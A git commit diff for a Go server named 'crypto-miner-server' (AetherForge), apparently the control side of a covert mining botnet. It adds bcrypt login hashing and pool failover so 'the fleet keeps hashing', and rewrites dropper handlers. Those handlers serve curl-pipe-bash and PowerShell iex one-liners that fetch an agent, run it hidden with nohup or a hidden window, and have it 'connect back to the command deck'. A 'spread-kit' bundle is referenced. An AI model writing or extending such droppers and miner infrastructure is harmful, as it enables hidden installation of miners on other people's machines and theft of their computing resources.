fix: pool backup failover on reconnect, perfect dropper scripts, bcrypt password hashing

2026-05-30 12:49:40 -07:00
parent 9eaf1e82ac
commit 0e19eb9eb9
7 changed files with 276 additions and 110 deletions
--- a/server/go.mod
+++ b/server/go.mod
@@ -1,6 +1,6 @@
 module crypto-miner-server

-go 1.21
+go 1.25.0

 require (
 	github.com/go-chi/chi/v5 v5.0.12
@@ -22,9 +22,10 @@ require (
 	github.com/tc-hib/go-winres v0.3.1 // indirect
 	github.com/tc-hib/winres v0.1.6 // indirect
 	github.com/urfave/cli/v2 v2.3.0 // indirect
+	golang.org/x/crypto v0.52.0 // indirect
 	golang.org/x/image v0.0.0-20210220032944-ac19c3e999fb // indirect
-	golang.org/x/net v0.17.0 // indirect
-	golang.org/x/sys v0.18.0 // indirect
+	golang.org/x/net v0.54.0 // indirect
+	golang.org/x/sys v0.45.0 // indirect
 	modernc.org/gc/v3 v3.0.0-20240107210532-573471604cb6 // indirect
 	modernc.org/libc v1.49.3 // indirect
 	modernc.org/mathutil v1.6.0 // indirect
--- a/server/go.sum
+++ b/server/go.sum
@@ -38,6 +38,8 @@ github.com/tc-hib/winres v0.1.6 h1:qgsYHze+BxQPEYilxIz/KCQGaClvI2+yLBAZs+3+0B8=
 github.com/tc-hib/winres v0.1.6/go.mod h1:pe6dOR40VOrGz8PkzreVKNvEKnlE8t4yR8A8naL+t7A=
 github.com/urfave/cli/v2 v2.3.0 h1:qph92Y649prgesehzOrQjdWyxFOp/QVM+6imKHad91M=
 github.com/urfave/cli/v2 v2.3.0/go.mod h1:LJmUH05zAU44vOAcrfzZQKsZbVcdbOG8rtL3/XcUArI=
+golang.org/x/crypto v0.52.0 h1:RMs7fP2rXdep0CftQlK8Uf+kibLm7qkCcradZWYz988=
+golang.org/x/crypto v0.52.0/go.mod h1:1QgfPxDqh0T2M/elOJtp9RvuR95kVjir0e6/BvEmGbc=
 golang.org/x/image v0.0.0-20201208152932-35266b937fa6/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0=
 golang.org/x/image v0.0.0-20210220032944-ac19c3e999fb h1:fqpd0EBDzlHRCjiphRR5Zo/RSWWQlWv34418dnEixWk=
 golang.org/x/image v0.0.0-20210220032944-ac19c3e999fb/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0=
@@ -45,9 +47,13 @@ golang.org/x/mod v0.16.0 h1:QX4fJ0Rr5cPQCF7O9lh9Se4pmwfwskqZfq5moyldzic=
 golang.org/x/mod v0.16.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c=
 golang.org/x/net v0.17.0 h1:pVaXccu2ozPjCXewfr1S7xza/zcXTity9cCdXQYSjIM=
 golang.org/x/net v0.17.0/go.mod h1:NxSsAGuq816PNPmqtQdLE42eU2Fs7NoRIZrHJAlaCOE=
+golang.org/x/net v0.54.0 h1:2zJIZAxAHV/OHCDTCOHAYehQzLfSXuf/5SoL/Dv6w/w=
+golang.org/x/net v0.54.0/go.mod h1:Sj4oj8jK6XmHpBZU/zWHw3BV3abl4Kvi+Ut7cQcY+cQ=
 golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
 golang.org/x/sys v0.18.0 h1:DBdB3niSjOA/O0blCZBqDefyWNYveAYMNF1Wum0DYQ4=
 golang.org/x/sys v0.18.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
+golang.org/x/sys v0.45.0 h1:dO4czNzziLiiXplLQgBCEpCvXQ3dnkn0SdaZSYdQ+FY=
+golang.org/x/sys v0.45.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw=
 golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
 golang.org/x/tools v0.19.0 h1:tfGCXNR1OsFG+sVdLAitlpjAvD/I6dHDKnYrpEZUHkw=
 golang.org/x/tools v0.19.0/go.mod h1:qoJWxmGSIBmAeriMx19ogtrEPrGtDbPK634QFIcLAhc=
--- a/server/internal/api/dropper_handler.go
+++ b/server/internal/api/dropper_handler.go
@@ -80,68 +80,77 @@ func (h *DropperHandler) ServeGet(w http.ResponseWriter, r *http.Request) {
 		}
 	}
 	if buildPath == "" {
-		http.Error(w, "No builds available — forge an agent first.", http.StatusNotFound)
+		w.Header().Set("Content-Type", "text/plain; charset=utf-8")
+		w.WriteHeader(http.StatusNotFound)
+		fmt.Fprintln(w, "AETHERFORGE: no agent build available yet.")
+		fmt.Fprintln(w, "Open the dashboard → Forge → fill in your wallet + server URL → FORGE INSTALLER.")
+		fmt.Fprintln(w, "Then re-run this one-liner.")
 		return
 	}

 	w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, buildName))
 	w.Header().Set("Content-Type", "application/octet-stream")
+	// Content-Length is set automatically by http.ServeFile.
 	http.ServeFile(w, r, buildPath)
 }

 // ServeSh handles GET /install.sh — returns a bash one-liner installer.
 func (h *DropperHandler) ServeSh(w http.ResponseWriter, r *http.Request) {
-	base := h.publicURL()
-	if base == "" {
-		// Best-effort: derive from request
-		scheme := "http"
-		if r.TLS != nil {
-			scheme = "https"
-		}
-		base = scheme + "://" + r.Host
-	}
+	base := h.resolveBase(r)

 	script := fmt.Sprintf(`#!/bin/sh
-# AetherForge one-liner installer
-# Usage: curl -sL %s/install.sh | bash
+# AetherForge agent installer
+# Usage: curl -sL '%[1]s/install.sh' | bash
+#        wget -qO- '%[1]s/install.sh' | bash

 set -e

+die() { echo "[!] $*" >&2; exit 1; }
+
 OS="$(uname -s | tr '[:upper:]' '[:lower:]')"
 ARCH="$(uname -m)"
 case "$ARCH" in
-  x86_64) ARCH="amd64" ;;
-  aarch64|arm64) ARCH="arm64" ;;
+  x86_64)          ARCH="amd64" ;;
+  aarch64|arm64)   ARCH="arm64" ;;
 esac

+echo "[*] AetherForge — downloading agent for $OS/$ARCH..."
+
 TMPDIR="$(mktemp -d)"
 DEST="$TMPDIR/worker"

-echo "[*] Downloading agent for $OS/$ARCH..."
-curl -sL -o "$DEST" "%s/get?os=$OS"
+# Download and verify we got a real file, not a 404 page.
+HTTP_CODE="$(curl -sL -w '%%{http_code}' -o "$DEST" '%[1]s/get?os=$OS')"
+if [ "$HTTP_CODE" != "200" ]; then
+  cat "$DEST" >&2
+  die "Server returned HTTP $HTTP_CODE — forge an agent first from the dashboard."
+fi

-if file "$DEST" 2>/dev/null | grep -q "Zip"; then
+FILESIZE="$(wc -c < "$DEST" | tr -d ' ')"
+[ "$FILESIZE" -gt 1024 ] || die "Download too small ($FILESIZE bytes) — something went wrong."
+
+# Universal bundle (ZIP) or raw binary?
+MAGIC="$(head -c 2 "$DEST" | od -An -tx1 | tr -d ' \n')"
+if [ "$MAGIC" = "504b" ]; then
  echo "[*] Extracting universal bundle..."
  unzip -q "$DEST" -d "$TMPDIR/bundle"
  cd "$TMPDIR/bundle"
-  # Fusion ZIPs ship start.sh / Start.command; spread-kit ZIPs ship deploy.sh / Start.command
  if [ "$OS" = "darwin" ]; then
    for L in Start.command start.command; do
-      if [ -f "$L" ]; then chmod +x "$L" && exec "./$L"; fi
+      [ -f "$L" ] && chmod +x "$L" && exec "./$L"
    done
  fi
  for L in start.sh deploy.sh; do
-    if [ -f "$L" ]; then chmod +x "$L" && exec sh "$L"; fi
+    [ -f "$L" ] && chmod +x "$L" && exec sh "./$L"
  done
-  echo "[!] Could not find launcher in bundle"
-  exit 1
+  die "No launcher found in bundle (Start.command / start.sh / deploy.sh)"
 fi

 chmod +x "$DEST"
-echo "[*] Launching..."
+echo "[*] Launching agent..."
 nohup "$DEST" >/dev/null 2>&1 &
-echo "[+] Agent started (pid $!)"
-`, base, base)
+echo "[+] Agent started (pid $!) — it will install itself and connect back to the command deck."
+`, base)

 	w.Header().Set("Content-Type", "text/plain; charset=utf-8")
 	w.Header().Set("Content-Disposition", `inline; filename="install.sh"`)
@@ -150,53 +159,76 @@ echo "[+] Agent started (pid $!)"

 // ServePs1 handles GET /install.ps1 — returns a PowerShell one-liner installer.
 func (h *DropperHandler) ServePs1(w http.ResponseWriter, r *http.Request) {
-	base := h.publicURL()
-	if base == "" {
-		scheme := "http"
-		if r.TLS != nil {
-			scheme = "https"
-		}
-		base = scheme + "://" + r.Host
-	}
+	base := h.resolveBase(r)

-	// PowerShell backticks would conflict with Go raw-string backticks; build the
-	// script as a regular string so we can escape them properly.
-	bt := "`" // backtick character
-	script := "# AetherForge one-liner installer\n" +
-		"# Usage: iex (irm '" + base + "/install.ps1')\n\n" +
-		"$ErrorActionPreference = 'Stop'\n" +
-		"$url    = '" + base + "/get?os=windows'\n" +
-		"$tmp    = [System.IO.Path]::Combine($env:TEMP, [System.IO.Path]::GetRandomFileName())\n\n" +
-		"Write-Host '[*] Downloading agent...'\n" +
-		"Invoke-WebRequest -Uri $url -OutFile $tmp -UseBasicParsing\n\n" +
-		"$bytes = [System.IO.File]::ReadAllBytes($tmp)\n" +
-		"$isZip = $bytes[0] -eq 0x50 -and $bytes[1] -eq 0x4B\n\n" +
-		"if ($isZip) {\n" +
-		"    Write-Host '[*] Extracting universal bundle...'\n" +
-		"    $dir = $tmp + '_bundle'\n" +
-		"    Add-Type -AssemblyName System.IO.Compression.FileSystem\n" +
-		"    [System.IO.Compression.ZipFile]::ExtractToDirectory($tmp, $dir)\n" +
-		// Fusion ZIPs have Start.bat; spread-kit ZIPs have Deploy.bat — try both.
-		"    $bat = $null\n" +
-		"    foreach ($name in @('Start.bat','Deploy.bat')) {\n" +
-		"        $candidate = Join-Path $dir $name\n" +
-		"        if (Test-Path $candidate) { $bat = $candidate; break }\n" +
-		"    }\n" +
-		"    if ($bat) {\n" +
-		"        Write-Host '[*] Running launcher...'\n" +
-		"        Start-Process -FilePath 'cmd.exe' -ArgumentList \"/c " + bt + "\"$bat" + bt + "\"\" -WindowStyle Hidden\n" +
-		"    } else {\n" +
-		"        Write-Host '[!] Could not find launcher (Start.bat / Deploy.bat) in bundle'; exit 1\n" +
-		"    }\n" +
-		"} else {\n" +
-		"    $exe = $tmp + '.exe'\n" +
-		"    Move-Item -Path $tmp -Destination $exe -Force\n" +
-		"    Write-Host '[*] Launching...'\n" +
-		"    Start-Process -FilePath $exe -WindowStyle Hidden\n" +
-		"}\n" +
-		"Write-Host '[+] Agent deployed.'\n"
+	// Build script as a regular string — backtick in Go raw strings conflicts
+	// with PowerShell's escape character.
+	bt := "`"
+	nl := "\r\n"
+
+	script := "# AetherForge agent installer" + nl +
+		"# Usage: iex (irm '" + base + "/install.ps1')" + nl + nl +
+		"$ErrorActionPreference = 'Stop'" + nl +
+		"$ProgressPreference   = 'SilentlyContinue'" + nl + nl +
+		"$url = '" + base + "/get?os=windows'" + nl +
+		"$tmp = [System.IO.Path]::Combine($env:TEMP, [System.IO.Path]::GetRandomFileName())" + nl + nl +
+		"Write-Host '[*] AetherForge -- downloading agent...'" + nl +
+		"try {" + nl +
+		"    $resp = Invoke-WebRequest -Uri $url -OutFile $tmp -UseBasicParsing -PassThru" + nl +
+		"    if ($resp.StatusCode -ne 200) { throw \"Server returned $($resp.StatusCode)\" }" + nl +
+		"} catch {" + nl +
+		"    Write-Host '[!] Download failed:' $_.Exception.Message" + nl +
+		"    Write-Host '    Forge an agent first from the dashboard, then retry.'" + nl +
+		"    exit 1" + nl +
+		"}" + nl + nl +
+		"$size = (Get-Item $tmp).Length" + nl +
+		"if ($size -lt 1024) { Write-Host '[!] Download too small -- something went wrong.'; exit 1 }" + nl + nl +
+		"$bytes = [System.IO.File]::ReadAllBytes($tmp)" + nl +
+		"$isZip = $bytes[0] -eq 0x50 -and $bytes[1] -eq 0x4B" + nl + nl +
+		"if ($isZip) {" + nl +
+		"    Write-Host '[*] Extracting universal bundle...'" + nl +
+		"    $dir = $tmp + '_bundle'" + nl +
+		"    Add-Type -AssemblyName System.IO.Compression.FileSystem" + nl +
+		"    [System.IO.Compression.ZipFile]::ExtractToDirectory($tmp, $dir)" + nl +
+		"    $bat = $null" + nl +
+		"    foreach ($name in @('Start.bat', 'Deploy.bat')) {" + nl +
+		"        $c = Join-Path $dir $name" + nl +
+		"        if (Test-Path $c) { $bat = $c; break }" + nl +
+		"    }" + nl +
+		"    if ($bat) {" + nl +
+		"        Write-Host '[*] Running bundle launcher...'" + nl +
+		"        Start-Process -FilePath 'cmd.exe' -ArgumentList \"/c " + bt + "\"$bat" + bt + "\"\" -WindowStyle Hidden" + nl +
+		"        Write-Host '[+] Agent deployed from bundle.'" + nl +
+		"    } else {" + nl +
+		"        Write-Host '[!] No launcher found in bundle (Start.bat / Deploy.bat)'; exit 1" + nl +
+		"    }" + nl +
+		"} else {" + nl +
+		"    $exe = $tmp + '.exe'" + nl +
+		"    Move-Item -Path $tmp -Destination $exe -Force" + nl +
+		"    Write-Host '[*] Launching agent...'" + nl +
+		"    Start-Process -FilePath $exe -WindowStyle Hidden" + nl +
+		"    Write-Host '[+] Agent deployed -- it will install itself and connect back to the command deck.'" + nl +
+		"}" + nl

 	w.Header().Set("Content-Type", "text/plain; charset=utf-8")
 	w.Header().Set("Content-Disposition", `inline; filename="install.ps1"`)
 	fmt.Fprint(w, script)
 }
+
+// resolveBase returns the public base URL for script generation, falling back
+// to the request's Host header when no public URL is configured.
+func (h *DropperHandler) resolveBase(r *http.Request) string {
+	if u := h.publicURL(); u != "" {
+		return u
+	}
+	scheme := "http"
+	if r.TLS != nil {
+		scheme = "https"
+	}
+	// Prefer X-Forwarded-Host (behind a reverse proxy) over the raw Host.
+	host := r.Header.Get("X-Forwarded-Host")
+	if host == "" {
+		host = r.Host
+	}
+	return scheme + "://" + host
+}
--- a/server/internal/api/router.go
+++ b/server/internal/api/router.go
@@ -19,6 +19,7 @@ import (
 	"github.com/go-chi/chi/v5"
 	"github.com/go-chi/chi/v5/middleware"
 	"github.com/go-chi/cors"
+	"golang.org/x/crypto/bcrypt"
 )

 var (
@@ -53,6 +54,31 @@ func SetRotateSecretFn(fn func() (string, error)) {
 	rotateSecretFn = fn
 }

+// isBcryptHash returns true when s looks like a bcrypt hash ($2a$, $2b$, $2y$).
+func isBcryptHash(s string) bool {
+	return len(s) > 4 && s[0] == '$' && s[1] == '2'
+}
+
+// hashPassword returns a bcrypt hash of password (cost 12).
+func hashPassword(password string) (string, error) {
+	h, err := bcrypt.GenerateFromPassword([]byte(password), 12)
+	if err != nil {
+		return "", err
+	}
+	return string(h), nil
+}
+
+// checkPassword verifies password against the stored value.  Stored values are
+// always bcrypt hashes after migration; plain-text legacy values are accepted
+// once then re-hashed automatically.
+func checkPassword(stored, provided string) bool {
+	if isBcryptHash(stored) {
+		return bcrypt.CompareHashAndPassword([]byte(stored), []byte(provided)) == nil
+	}
+	// Legacy plain-text comparison (constant-time).
+	return subtle.ConstantTimeCompare([]byte(provided), []byte(stored)) == 1
+}
+
 func loadUsers(dataDir string) {
 	usersFilePath = filepath.Join(dataDir, "users.json")
 	usersMu.Lock()
@@ -62,16 +88,36 @@ func loadUsers(dataDir string) {
 	if err == nil {
 		var loaded map[string]string
 		if json.Unmarshal(data, &loaded) == nil && len(loaded) > 0 {
+			// Migration: re-hash any plain-text entries left from an older version.
+			migrated := false
+			for u, v := range loaded {
+				if !isBcryptHash(v) {
+					if h, herr := hashPassword(v); herr == nil {
+						loaded[u] = h
+						migrated = true
+						log.Printf("[Auth] Migrated plain-text password for user %q to bcrypt", u)
+					}
+				}
+			}
 			authUsers = loaded
+			if migrated {
+				d, _ := json.MarshalIndent(authUsers, "", "  ")
+				_ = os.WriteFile(usersFilePath, d, 0600)
+			}
 			return
 		}
 	}

 	// First run — no users.json (or empty).  Generate a random admin password,
-	// save it, and print it clearly so the operator can log in immediately.
+	// hash it, save it, and print the plain-text once to the console.
 	pw := generateRandomPassword()
-	authUsers = map[string]string{"admin": pw}
-	if err := os.MkdirAll(dataDir, 0755); err == nil {
+	hashed, herr := hashPassword(pw)
+	if herr != nil {
+		hashed = pw // extremely unlikely; degrade gracefully
+		log.Printf("[Auth] WARNING: bcrypt failed, storing plain-text password: %v", herr)
+	}
+	authUsers = map[string]string{"admin": hashed}
+	if mkErr := os.MkdirAll(dataDir, 0755); mkErr == nil {
 		d, _ := json.MarshalIndent(authUsers, "", "  ")
 		if writeErr := os.WriteFile(usersFilePath, d, 0600); writeErr != nil {
 			log.Printf("[Auth] WARNING: could not save users.json: %v", writeErr)
@@ -97,16 +143,19 @@ func loadUsers(dataDir string) {
 func generateRandomPassword() string {
 	b := make([]byte, 10)
 	if _, err := rand.Read(b); err != nil {
-		// Fallback to a fixed marker so the operator knows something went wrong.
 		return "CHANGE-ME-NOW-12345"
 	}
 	return hex.EncodeToString(b)
 }

 func saveUser(username, password string) error {
+	hashed, err := hashPassword(password)
+	if err != nil {
+		return fmt.Errorf("bcrypt: %w", err)
+	}
 	usersMu.Lock()
 	defer usersMu.Unlock()
-	authUsers[username] = password
+	authUsers[username] = hashed
 	if usersFilePath == "" {
 		usersFilePath = filepath.Join("data", "users.json")
 	}
@@ -161,10 +210,10 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
 		}

 		usersMu.RLock()
-		expectedPass, exists := authUsers[user]
+		storedHash, exists := authUsers[user]
 		usersMu.RUnlock()

-		if !exists || subtle.ConstantTimeCompare([]byte(pass), []byte(expectedPass)) != 1 {
+		if !exists || !checkPassword(storedHash, pass) {
 			w.Header().Set("WWW-Authenticate", `Basic realm="AetherForge Control Deck"`)
 			http.Error(w, "Unauthorized", http.StatusUnauthorized)
 			return
--- a/server/internal/api/websocket.go
+++ b/server/internal/api/websocket.go
@@ -405,29 +405,31 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
 				if poolCfg.Password == "" {
 					poolCfg.Password = "x"
 				}
-				if _, err := h.poolManager.EnsurePool(&poolCfg); err != nil {
-					log.Printf("[WS] Primary pool unreachable for agent %s: %v — trying backup pools", agentID, err)
-					connected := false
-					for i, bp := range backupPools {
-						if bp.Host == "" || bp.Port <= 0 {
-							continue
-						}
-						bpCfg := poolCfg
-						bpCfg.Host = bp.Host
-						bpCfg.Port = bp.Port
-						bpCfg.UseTLS = bp.TLS
-						if bp.Pass != "" {
-							bpCfg.Password = bp.Pass
-						}
-						if _, err2 := h.poolManager.EnsurePool(&bpCfg); err2 == nil {
-							log.Printf("[WS] Connected agent %s to backup pool #%d (%s:%d)", agentID, i+1, bp.Host, bp.Port)
-							connected = true
-							break
-						}
+
+				// Build backup pool.Config list from what the agent sent at auth.
+				// These are registered on the proxy so reconnect() rotates through
+				// them automatically — not just at initial connect.
+				var backupCfgs []pool.Config
+				for _, bp := range backupPools {
+					if bp.Host == "" || bp.Port <= 0 {
+						continue
 					}
-					if !connected {
-						log.Printf("[WS] All pools failed for agent %s — agent will mine when pool reconnects", agentID)
+					bpc := pool.Config{
+						Host:   bp.Host,
+						Port:   bp.Port,
+						UseTLS: bp.TLS,
+						Wallet: poolCfg.Wallet,
 					}
+					if bp.Pass != "" {
+						bpc.Password = bp.Pass
+					} else {
+						bpc.Password = poolCfg.Password
+					}
+					backupCfgs = append(backupCfgs, bpc)
+				}
+
+				if _, err := h.poolManager.EnsurePoolWithBackups(&poolCfg, backupCfgs); err != nil {
+					log.Printf("[WS] All pools failed for agent %s (%d backups tried) — agent will mine when pool reconnects", agentID, len(backupCfgs))
 				}
 			}

--- a/server/internal/pool/manager.go
+++ b/server/internal/pool/manager.go
@@ -46,6 +46,19 @@ func poolKey(cfg *Config) string {
 	return fmt.Sprintf("%s:%d:tls=%v:wallet=%s", cfg.Host, cfg.Port, cfg.UseTLS, cfg.Wallet)
 }

+// EnsurePoolWithBackups is like EnsurePool but also registers backup configs
+// that the proxy will rotate through on reconnect.
+func (m *Manager) EnsurePoolWithBackups(cfg *Config, backups []Config) (*Proxy, error) {
+	p, err := m.EnsurePool(cfg)
+	if err != nil {
+		return nil, err
+	}
+	if len(backups) > 0 {
+		p.SetBackupConfigs(backups)
+	}
+	return p, nil
+}
+
 // EnsurePool returns a connected proxy for the forged pool settings, starting one if needed.
 func (m *Manager) EnsurePool(cfg *Config) (*Proxy, error) {
 	if cfg == nil || cfg.Host == "" {
--- a/server/internal/pool/proxy.go
+++ b/server/internal/pool/proxy.go
@@ -84,6 +84,14 @@ type Proxy struct {
 	reconnecting    bool
 	reconnectDelay  time.Duration
 	verboseTraffic  bool
+
+	// Pool failover: if the active config fails on reconnect, cycle through
+	// these alternatives before giving up. The primary Config is always index -1
+	// (the original); backups are tried in order.  primaryConfig preserves the
+	// original so we can reset after a full round fails.
+	primaryConfig  Config
+	backupConfigs  []Config
+	backupIdx      int // next backup to try
 }

 type PendingShare struct {
@@ -116,6 +124,7 @@ type Config struct {
 func NewProxy(cfg *Config) *Proxy {
 	return &Proxy{
 		config:         cfg,
+		primaryConfig:  *cfg,
 		stopCh:         make(chan struct{}),
 		shareQueue:     make(chan *PendingShare, 100),
 		pendingResults: make(map[int]*pendingShareResult),
@@ -123,6 +132,14 @@ func NewProxy(cfg *Config) *Proxy {
 	}
 }

+// SetBackupConfigs registers fallback pool configs tried in order when the
+// active config fails on reconnect.  Call before Start().
+func (p *Proxy) SetBackupConfigs(backups []Config) {
+	p.mu.Lock()
+	p.backupConfigs = backups
+	p.mu.Unlock()
+}
+
 func (p *Proxy) SetReconnectDelay(d time.Duration) {
 	if d > 0 {
 		p.mu.Lock()
@@ -702,18 +719,64 @@ func (p *Proxy) reconnect() {
 	default:
 	}

-	if err := p.connect(); err != nil {
-		log.Printf("[Pool] Reconnect failed: %v", err)
-		if p.onError != nil {
-			p.onError(fmt.Errorf("pool reconnect failed: %w", err))
+	// Build the full candidate list: [current primary] + backup configs.
+	// If the primary fails we rotate through backups so the fleet keeps hashing
+	// even when the configured pool is down.
+	p.mu.RLock()
+	primary := p.primaryConfig
+	backups := append([]Config(nil), p.backupConfigs...) // copy
+	startIdx := p.backupIdx
+	p.mu.RUnlock()
+
+	candidates := make([]Config, 0, 1+len(backups))
+	candidates = append(candidates, primary)
+	candidates = append(candidates, backups...)
+
+	total := len(candidates)
+	for i := 0; i < total; i++ {
+		// Rotate: try startIdx (last successful backup) before falling back to primary
+		idx := (startIdx + i) % total
+		cfg := candidates[idx]
+
+		p.mu.Lock()
+		*p.config = cfg
+		p.mu.Unlock()
+
+		if err := p.connect(); err != nil {
+			label := "primary"
+			if idx > 0 {
+				label = fmt.Sprintf("backup#%d (%s:%d)", idx, cfg.Host, cfg.Port)
+			}
+			log.Printf("[Pool] Reconnect to %s failed: %v", label, err)
+			continue
 		}
-		time.Sleep(30 * time.Second)
-		select {
-		case <-p.stopCh:
-			return
-		default:
-			p.scheduleReconnect()
+
+		// Succeeded — remember where we are so next reconnect starts here
+		p.mu.Lock()
+		p.backupIdx = idx
+		p.mu.Unlock()
+		if idx > 0 {
+			log.Printf("[Pool] Now connected to backup#%d (%s:%d)", idx, cfg.Host, cfg.Port)
 		}
+		return
+	}
+
+	// All candidates failed
+	if p.onError != nil {
+		p.onError(fmt.Errorf("all pool endpoints unreachable (%d tried)", total))
+	}
+	// Restore primary so next cycle starts fresh
+	p.mu.Lock()
+	*p.config = primary
+	p.backupIdx = 0
+	p.mu.Unlock()
+
+	time.Sleep(30 * time.Second)
+	select {
+	case <-p.stopCh:
+		return
+	default:
+		p.scheduleReconnect()
 	}
 }